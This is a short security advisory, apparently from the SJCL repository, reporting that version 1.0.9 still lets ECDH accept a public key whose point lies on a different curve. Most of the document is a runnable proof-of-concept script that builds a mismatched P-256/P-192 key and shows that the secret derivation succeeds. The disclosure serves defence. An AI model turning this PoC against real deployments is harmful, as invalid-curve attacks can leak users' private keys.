ECDH doesn't verify off-curve points
Author: paulmillrCreated Aug 27, 2026Updated Aug 27, 2026
1.0.9 did not fully fix off-curve ECDH issue:
const sjcl = require("./sjcl.js");
global.sjcl = sjcl;
require("./core/bn.js");
require("./core/ecc.js");
const secret = new sjcl.bn("0x124456789abcdef");
const victim = new sjcl.ecc.elGamal.secretKey(
sjcl.ecc.curves.c256,
secret
);
// "P-256", but contains a P-192 point.
const maliciousKey = new sjcl.ecc.elGamal.publicKey(
sjcl.ecc.curves.c256,
sjcl.ecc.curves.c192.G
);
console.log("declared:" , sjcl.ecc.curveName(maliciousKey._curve));
console.log("actual: " , sjcl.ecc.curveName(maliciousKey._point.curve));
// no curve-identity check during ECDH.
const derived = victim.dh(maliciousKey);
const expected = sjcl.hash.sha256.hash(
sjcl.ecc.curves.c192.G.mult(secret).toBits()
);
console.log("accepted:" , sjcl.bitArray.equal(derived, expected));
console.log("secret: " , sjcl.codec.hex.fromBits(derived));Source: bitwiseshiftleft/sjcl